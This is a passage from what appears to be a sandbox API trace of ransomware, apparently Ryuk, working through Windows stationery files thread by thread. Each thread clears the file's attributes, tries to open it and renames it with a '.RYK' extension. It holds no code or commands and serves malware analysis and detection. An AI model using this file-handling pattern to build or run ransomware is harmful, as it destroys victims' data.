	[0166.931] SetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\Stationery\\Genko_2.emf", dwFileAttributes=0x80) returned 0
	[0167.112] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\Stationery\\Genko_2.emf" (normalized: "c:\\program files\\common files\\microsoft shared\\stationery\\genko_2.emf"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffffffffffff
	[0167.112] CloseHandle (hObject=0xffffffffffffffff) returned 0
	[0167.112] MoveFileExW (lpExistingFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\Stationery\\Genko_2.emf" (normalized: "c:\\program files\\common files\\microsoft shared\\stationery\\genko_2.emf"), lpNewFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\Stationery\\Genko_2.emf.RYK" (normalized: "c:\\program files\\common files\\microsoft shared\\stationery\\genko_2.emf.ryk"), dwFlags=0x8) returned 0

Thread:
	id = 331
	os_tid = 0xd48

	[0166.933] SetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\Stationery\\Graph.emf", dwFileAttributes=0x80) returned 0
	[0167.114] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\Stationery\\Graph.emf" (normalized: "c:\\program files\\common files\\microsoft shared\\stationery\\graph.emf"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffffffffffff
	[0167.114] CloseHandle (hObject=0xffffffffffffffff) returned 0
	[0167.114] MoveFileExW (lpExistingFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\Stationery\\Graph.emf" (normalized: "c:\\program files\\common files\\microsoft shared\\stationery\\graph.emf"), lpNewFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\Stationery\\Graph.emf.RYK" (normalized: "c:\\program files\\common files\\microsoft shared\\stationery\\graph.emf.ryk"), dwFlags=0x8) returned 0

Thread:
	id = 332
	os_tid = 0xd4c

	[0167.116] SetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\Stationery\\Green Bubbles.htm", dwFileAttributes=0x80) returned 0
	[0167.226] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\Stationery\\Green Bubbles.htm" (normalized: "c:\\program files\\common files\\microsoft shared\\stationery\\green bubbles.htm"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffffffffffff
	[0167.227] CloseHandle (hObject=0xffffffffffffffff) returned 0
	[0167.227] MoveFileExW (lpExistingFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\Stationery\\Green Bubbles.htm" (normalized: "c:\\program files\\common files\\microsoft shared\\stationery\\green bubbles.htm"), lpNewFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\Stationery\\Green Bubbles.htm.RYK" (normalized: "c:\\program files\\common files\\microsoft shared\\stationery\\green bubbles.htm.ryk"), dwFlags=0x8) returned 0

Thread:
	id = 333
	os_tid = 0xd50

	[0167.118] SetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\Stationery\\GreenBubbles.jpg", dwFileAttributes=0x80) returned 0
	[0167.228] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\Stationery\\GreenBubbles.jpg" (normalized: "c:\\program files\\common files\\microsoft shared\\stationery\\greenbubbles.jpg"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffffffffffff
	[0167.229] CloseHandle (hObject=0xffffffffffffffff) returned 0
	[0167.229] MoveFileExW (lpExistingFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\Stationery\\GreenBubbles.jpg" (normalized: "c:\\program files\\common files\\microsoft shared\\stationery\\greenbubbles.jpg"), lpNewFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\Stationery\\GreenBubbles.jpg.RYK" (normalized: "c:\\program files\\common files\\microsoft shared\\stationery\\greenbubbles.jpg.ryk"), dwFlags=0x8) returned 0

Thread:
	id = 334
	os_tid = 0xd54

	[0167.119] SetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\Stationery\\grid_(cm).wmf", dwFileAttributes=0x80) returned 0
	[0167.119] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\Stationery\\grid_(cm).wmf" (normalized: "c:\\program files\\common files\\microsoft shared\\stationery\\grid_(cm).wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffffffffffff
	[0167.120] CloseHandle (hObject=0xffffffffffffffff) returned 0
	[0167.120] MoveFileExW (lpExistingFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\Stationery\\grid_(cm).wmf" (normalized: "c:\\program files\\common files\\microsoft shared\\stationery\\grid_(cm).wmf"), lpNewFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\Stationery\\grid_(cm).wmf.RYK" (normalized: "c:\\program files\\common files\\microsoft shared\\stationery\\grid_(cm).wmf.ryk"), dwFlags=0x8) returned 0

Thread:
	id = 335
	os_tid = 0xd58

	[0167.121] SetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\Stationery\\grid_(inch).wmf", dwFileAttributes=0x80) returned 0
	[0167.122] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\Stationery\\grid_(inch).wmf" (normalized: "c:\\program files\\common files\\microsoft shared\\stationery\\grid_(inch).wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffffffffffff
	[0167.122] CloseHandle (hObject=0xffffffffffffffff) returned 0
	[0167.122] MoveFileExW (lpExistingFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\Stationery\\grid_(inch).wmf" (normalized: "c:\\program files\\common files\\microsoft shared\\stationery\\grid_(inch).wmf"), lpNewFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\Stationery\\grid_(inch).wmf.RYK" (normalized: "c:\\program files\\common files\\microsoft shared\\stationery\\grid_(inch).wmf.ryk"), dwFlags=0x8) returned 0

Thread:
	id = 336
	os_tid = 0xd5c

	[0167.124] SetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\Stationery\\Hand Prints.htm", dwFileAttributes=0x80) returned 0
	[0167.230] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\Stationery\\Hand Prints.htm" (normalized: "c:\\program files\\common files\\microsoft shared\\stationery\\hand prints.htm"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffffffffffff
	[0167.231] CloseHandle (hObject=0xffffffffffffffff) returned 0
	[0167.231] MoveFileExW (lpExistingFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\Stationery\\Hand Prints.htm" (normalized: "c:\\program files\\common files\\microsoft shared\\stationery\\hand prints.htm"), lpNewFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\Stationery\\Hand Prints.htm.RYK" (normalized: "c:\\program files\\common files\\microsoft shared\\stationery\\hand prints.htm.ryk"), dwFlags=0x8) returned 0

Thread:
	id = 337
	os_tid = 0xd60

	[0167.125] SetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\Stationery\\HandPrints.jpg", dwFileAttributes=0x80) returned 0
	[0167.125] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\Stationery\\HandPrints.jpg" (normalized: "c:\\program files\\common files\\microsoft shared\\stationery\\handprints.jpg"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffffffffffff
	[0167.126] CloseHandle (hObject=0xffffffffffffffff) returned 0
	[0167.126] MoveFileExW (lpExistingFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\Stationery\\HandPrints.jpg" (normalized: "c:\\program files\\common files\\microsoft shared\\stationery\\handprints.jpg"), lpNewFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\Stationery\\HandPrints.jpg.RYK" (normalized: "c:\\program files\\common files\\microsoft shared\\stationery\\handprints.jpg.ryk"), dwFlags=0x8) returned 0

Thread:
	id = 338
	os_tid = 0xd64

	[0167.127] SetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\Stationery\\Memo.emf", dwFileAttributes=0x80) returned 0
	[0167.232] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\Stationery\\Memo.emf" (normalized: "c:\\program files\\common files\\microsoft shared\\stationery\\memo.emf"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffffffffffff
	[0167.232] CloseHandle (hObject=0xffffffffffffffff) returned 0
	[0167.233] MoveFileExW (lpExistingFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\Stationery\\Memo.emf" (normalized: "c:\\program files\\common files\\microsoft shared\\stationery\\memo.emf"), lpNewFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\Stationery\\Memo.emf.RYK" (normalized: "c:\\program files\\common files\\microsoft shared\\stationery\\memo.emf.ryk"), dwFlags=0x8) returned 0

Thread:
	id = 339
	os_tid = 0xd68

	[0167.129] SetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\Stationery\\Monet.jpg", dwFileAttributes=0x80) returned 0
	[0167.234] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\Stationery\\Monet.jpg" (normalized: "c:\\program files\\common files\\microsoft shared\\stationery\\monet.jpg"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffffffffffff
	[0167.234] CloseHandle (hObject=0xffffffffffffffff) returned 0
	[0167.235] MoveFileExW (lpExistingFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\Stationery\\Monet.jpg" (normalized: "c:\\program files\\common files\\microsoft shared\\stationery\\monet.jpg"), lpNewFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\Stationery\\Monet.jpg.RYK" (normalized: "c:\\program files\\common files\\microsoft shared\\stationery\\monet.jpg.ryk"), dwFlags=0x8) returned 0

Thread:
	id = 340
	os_tid = 0xd6c

	[0167.130] SetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\Stationery\\Month_Calendar.emf", dwFileAttributes=0x80) returned 0
	[0167.131] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\Stationery\\Month_Calendar.emf" (normalized: "c:\\program files\\common files\\microsoft shared\\stationery\\month_calendar.emf"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffffffffffff
	[0167.132] CloseHandle (hObject=0xffffffffffffffff) returned 0
	[0167.132] MoveFileExW (lpExistingFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\Stationery\\Month_Calendar.emf" (normalized: "c:\\program files\\common files\\microsoft shared\\stationery\\month_calendar.emf"), lpNewFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\Stationery\\Month_Calendar.emf.RYK" (normalized: "c:\\program files\\common files\\microsoft shared\\stationery\\month_calendar.emf.ryk"), dwFlags=0x8) returned 0

Thread:
	id = 341
	os_tid = 0xd70

	[0167.134] SetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\Stationery\\Music.emf", dwFileAttributes=0x80) returned 0
	[0167.236] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\Stationery\\Music.emf" (normalized: "c:\\program files\\common files\\microsoft shared\\stationery\\music.emf"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffffffffffff
	[0167.237] CloseHandle (hObject=0xffffffffffffffff) returned 0
	[0167.237] MoveFileExW (lpExistingFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\Stationery\\Music.emf" (normalized: "c:\\program files\\common files\\microsoft shared\\stationery\\music.emf"), lpNewFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\Stationery\\Music.emf.RYK" (normalized: "c:\\program files\\common files\\microsoft shared\\stationery\\music.emf.ryk"), dwFlags=0x8) returned 0

Thread:
	id = 342
	os_tid = 0xd74

	[0167.135] SetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\Stationery\\Notebook.jpg", dwFileAttributes=0x80) returned 0
	[0167.238] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\Stationery\\Notebook.jpg" (normalized: "c:\\program files\\common files\\microsoft shared\\stationery\\notebook.jpg"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffffffffffff
	[0167.239] CloseHandle (hObject=0xffffffffffffffff) returned 0
	[0167.239] MoveFileExW (lpExistingFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\Stationery\\Notebook.jpg" (normalized: "c:\\program files\\common files\\microsoft shared\\stationery\\notebook.jpg"), lpNewFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\Stationery\\Notebook.jpg.RYK" (normalized: "c:\\program files\\common files\\microsoft shared\\stationery\\notebook.jpg.ryk"), dwFlags=0x8) returned 0

Thread:
	id = 343
	os_tid = 0xd78

	[0167.240] SetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\Stationery\\Orange Circles.htm", dwFileAttributes=0x80) returned 0
	[0167.241] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\Stationery\\Orange Circles.htm" (normalized: "c:\\program files\\common files\\microsoft shared\\stationery\\orange circles.htm"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffffffffffff
	[0167.241] CloseHandle (hObject=0xffffffffffffffff) returned 0
	[0167.241] MoveFileExW (lpExistingFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\Stationery\\Orange Circles.htm" (normalized: "c:\\program files\\common files\\microsoft shared\\stationery\\orange circles.htm"), lpNewFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\Stationery\\Orange Circles.htm.RYK" (normalized: "c:\\program files\\common files\\microsoft shared\\stationery\\orange circles.htm.ryk"), dwFlags=0x8) returned 0

Thread:
	id = 344
	os_tid = 0xd7c

	[0167.243] SetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\Stationery\\OrangeCircles.jpg", dwFileAttributes=0x80) returned 0
	[0167.243] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\Stationery\\OrangeCircles.jpg" (normalized: "c:\\program files\\common files\\microsoft shared\\stationery\\orangecircles.jpg"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffffffffffff
	[0167.243] CloseHandle (hObject=0xffffffffffffffff) returned 0
	[0167.243] MoveFileExW (lpExistingFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\Stationery\\OrangeCircles.jpg" (normalized: "c:\\program files\\common files\\microsoft shared\\stationery\\orangecircles.jpg"), lpNewFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\Stationery\\OrangeCircles.jpg.RYK" (normalized: "c:\\program files\\common files\\microsoft shared\\stationery\\orangecircles.jpg.ryk"), dwFlags=0x8) returned 0

Thread:
	id = 345
	os_tid = 0xd80

	[0167.245] SetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\Stationery\\Peacock.htm", dwFileAttributes=0x80) returned 0
	[0167.350] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\Stationery\\Peacock.htm" (normalized: "c:\\program files\\common files\\microsoft shared\\stationery\\peacock.htm"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffffffffffff
	[0167.350] CloseHandle (hObject=0xffffffffffffffff) returned 0
	[0167.350] MoveFileExW (lpExistingFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\Stationery\\Peacock.htm" (normalized: "c:\\program files\\common files\\microsoft shared\\stationery\\peacock.htm"), lpNewFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\Stationery\\Peacock.htm.RYK" (normalized: "c:\\program files\\common files\\microsoft shared\\stationery\\peacock.htm.ryk"), dwFlags=0x8) returned 0

Thread:
	id = 346
	os_tid = 0xd84

	[0167.247] SetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\Stationery\\Peacock.jpg", dwFileAttributes=0x80) returned 0
	[0167.352] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\Stationery\\Peacock.jpg" (normalized: "c:\\program files\\common files\\microsoft shared\\stationery\\peacock.jpg"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffffffffffff
	[0167.353] CloseHandle (hObject=0xffffffffffffffff) returned 0
	[0167.353] MoveFileExW (lpExistingFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\Stationery\\Peacock.jpg" (normalized: "c:\\program files\\common files\\microsoft shared\\stationery\\peacock.jpg"), lpNewFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\Stationery\\Peacock.jpg.RYK" (normalized: "c:\\program files\\common files\\microsoft shared\\stationery\\peacock.jpg.ryk"), dwFlags=0x8) returned 0

Thread:
	id = 347
	os_tid = 0xd88

	[0167.248] SetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\Stationery\\Pine_Lumber.jpg", dwFileAttributes=0x80) returned 0
	[0167.248] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\Stationery\\Pine_Lumber.jpg" (normalized: "c:\\program files\\common files\\microsoft shared\\stationery\\pine_lumber.jpg"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffffffffffff
	[0167.249] CloseHandle (hObject=0xffffffffffffffff) returned 0
	[0167.249] MoveFileExW (lpExistingFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\Stationery\\Pine_Lumber.jpg" (normalized: "c:\\program files\\common files\\microsoft shared\\stationery\\pine_lumber.jpg"), lpNewFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\Stationery\\Pine_Lumber.jpg.RYK" (normalized: "c:\\program files\\common files\\microsoft shared\\stationery\\pine_lumber.jpg.ryk"), dwFlags=0x8) returned 0

Thread:
	id = 348
	os_tid = 0xd8c

	[0167.251] SetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\Stationery\\Pretty_Peacock.jpg", dwFileAttributes=0x80) returned 0
	[0167.355] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\Stationery\\Pretty_Peacock.jpg" (normalized: "c:\\program files\\common files\\microsoft shared\\stationery\\pretty_peacock.jpg"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffffffffffff
	[0167.355] CloseHandle (hObject=0xffffffffffffffff) returned 0
	[0167.355] MoveFileExW (lpExistingFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\Stationery\\Pretty_Peacock.jpg" (normalized: "c:\\program files\\common files\\microsoft shared\\stationery\\pretty_peacock.jpg"), lpNewFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\Stationery\\Pretty_Peacock.jpg.RYK" (normalized: "c:\\program files\\common files\\microsoft shared\\stationery\\pretty_peacock.jpg.ryk"), dwFlags=0x8) returned 0

Thread:
	id = 349
	os_tid = 0xd90

	[0167.252] SetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\Stationery\\Psychedelic.jpg", dwFileAttributes=0x80) returned 0
	[0167.357] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\Stationery\\Psychedelic.jpg" (normalized: "c:\\program files\\common files\\microsoft shared\\stationery\\psychedelic.jpg"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffffffffffff
	[0167.358] CloseHandle (hObject=0xffffffffffffffff) returned 0
	[0167.358] MoveFileExW (lpExistingFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\Stationery\\Psychedelic.jpg" (normalized: "c:\\program files\\common files\\microsoft shared\\stationery\\psychedelic.jpg"), lpNewFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\Stationery\\Psychedelic.jpg.RYK" (normalized: "c:\\program files\\common files\\microsoft shared\\stationery\\psychedelic.jpg.ryk"), dwFlags=0x8) returned 0

Thread:
	id = 350
	os_tid = 0xd94

	[0167.254] SetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\Stationery\\Roses.htm", dwFileAttributes=0x80) returned 0
	[0167.360] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\Stationery\\Roses.htm" (normalized: "c:\\program files\\common files\\microsoft shared\\stationery\\roses.htm"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffffffffffff
	[0167.360] CloseHandle (hObject=0xffffffffffffffff) returned 0
	[0167.360] MoveFileExW (lpExistingFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\Stationery\\Roses.htm" (normalized: "c:\\program files\\common files\\microsoft shared\\stationery\\roses.htm"), lpNewFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\Stationery\\Roses.htm.RYK" (normalized: "c:\\program files\\common files\\microsoft shared\\stationery\\roses.htm.ryk"), dwFlags=0x8) returned 0

Thread:
	id = 351
	os_tid = 0xd98

	[0167.255] SetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\Stationery\\Roses.jpg", dwFileAttributes=0x80) returned 0
	[0167.256] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\Stationery\\Roses.jpg" (normalized: "c:\\program files\\common files\\microsoft shared\\stationery\\roses.jpg"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffffffffffff
	[0167.256] CloseHandle (hObject=0xffffffffffffffff) returned 0
	[0167.257] MoveFileExW (lpExistingFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\Stationery\\Roses.jpg" (normalized: "c:\\program files\\common files\\microsoft shared\\stationery\\roses.jpg"), lpNewFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\Stationery\\Roses.jpg.RYK" (normalized: "c:\\program files\\common files\\microsoft shared\\stationery\\roses.jpg.ryk"), dwFlags=0x8) returned 0

Thread:
	id = 352
	os_tid = 0xd9c

	[0167.259] SetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\Stationery\\Sand_Paper.jpg", dwFileAttributes=0x80) returned 0
	[0167.260] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\Stationery\\Sand_Paper.jpg" (normalized: "c:\\program files\\common files\\microsoft shared\\stationery\\sand_paper.jpg"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffffffffffff
	[0167.260] CloseHandle (hObject=0xffffffffffffffff) returned 0
	[0167.261] MoveFileExW (lpExistingFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\Stationery\\Sand_Paper.jpg" (normalized: "c:\\program files\\common files\\microsoft shared\\stationery\\sand_paper.jpg"), lpNewFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\Stationery\\Sand_Paper.jpg.RYK" (normalized: "c:\\program files\\common files\\microsoft shared\\stationery\\sand_paper.jpg.ryk"), dwFlags=0x8) returned 0

Thread:
	id = 353
	os_tid = 0xda0

	[0167.262] SetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\Stationery\\Seyes.emf", dwFileAttributes=0x80) returned 0
	[0167.263] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\Stationery\\Seyes.emf" (normalized: "c:\\program files\\common files\\microsoft shared\\stationery\\seyes.emf"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffffffffffff
	[0167.263] CloseHandle (hObject=0xffffffffffffffff) returned 0
	[0167.263] MoveFileExW (lpExistingFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\Stationery\\Seyes.emf" (normalized: "c:\\program files\\common files\\microsoft shared\\stationery\\seyes.emf"), lpNewFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\Stationery\\Seyes.emf.RYK" (normalized: "c:\\program files\\common files\\microsoft shared\\stationery\\seyes.emf.ryk"), dwFlags=0x8) returned 0

Thread:
	id = 354
	os_tid = 0xda4

	[0167.362] SetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\Stationery\\Shades of Blue.htm", dwFileAttributes=0x80) returned 0
	[0167.363] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\Stationery\\Shades of Blue.htm" (normalized: "c:\\program files\\common files\\microsoft shared\\stationery\\shades of blue.htm"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffffffffffff
	[0167.363] CloseHandle (hObject=0xffffffffffffffff) returned 0
	[0167.363] MoveFileExW (lpExistingFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\Stationery\\Shades of Blue.htm" (normalized: "c:\\program files\\common files\\microsoft shared\\stationery\\shades of blue.htm"), lpNewFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\Stationery\\Shades of Blue.htm.RYK" (normalized: "c:\\program files\\common files\\microsoft shared\\stationery\\shades of blue.htm.ryk"), dwFlags=0x8) returned 0

Thread:
	id = 355
	os_tid = 0xda8

	[0167.365] SetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\Stationery\\ShadesOfBlue.jpg", dwFileAttributes=0x80) returned 0
	[0167.669] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\Stationery\\ShadesOfBlue.jpg" (normalized: "c:\\program files\\common files\\microsoft shared\\stationery\\shadesofblue.jpg"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffffffffffff
	[0167.857] CloseHandle (hObject=0xffffffffffffffff) returned 0
	[0167.857] MoveFileExW (lpExistingFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\Stationery\\ShadesOfBlue.jpg" (normalized: "c:\\program files\\common files\\microsoft shared\\stationery\\shadesofblue.jpg"), lpNewFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\Stationery\\ShadesOfBlue.jpg.RYK" (normalized: "c:\\program files\\common files\\microsoft shared\\stationery\\shadesofblue.jpg.ryk"), dwFlags=0x8) returned 0

Thread:
	id = 356
	os_tid = 0xdac

	[0167.366] SetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\Stationery\\Shorthand.emf", dwFileAttributes=0x80) returned 0
	[0167.670] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\Stationery\\Shorthand.emf" (normalized: "c:\\program files\\common files\\microsoft shared\\stationery\\shorthand.emf"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffffffffffff
	[0167.855] CloseHandle (hObject=0xffffffffffffffff) returned 0
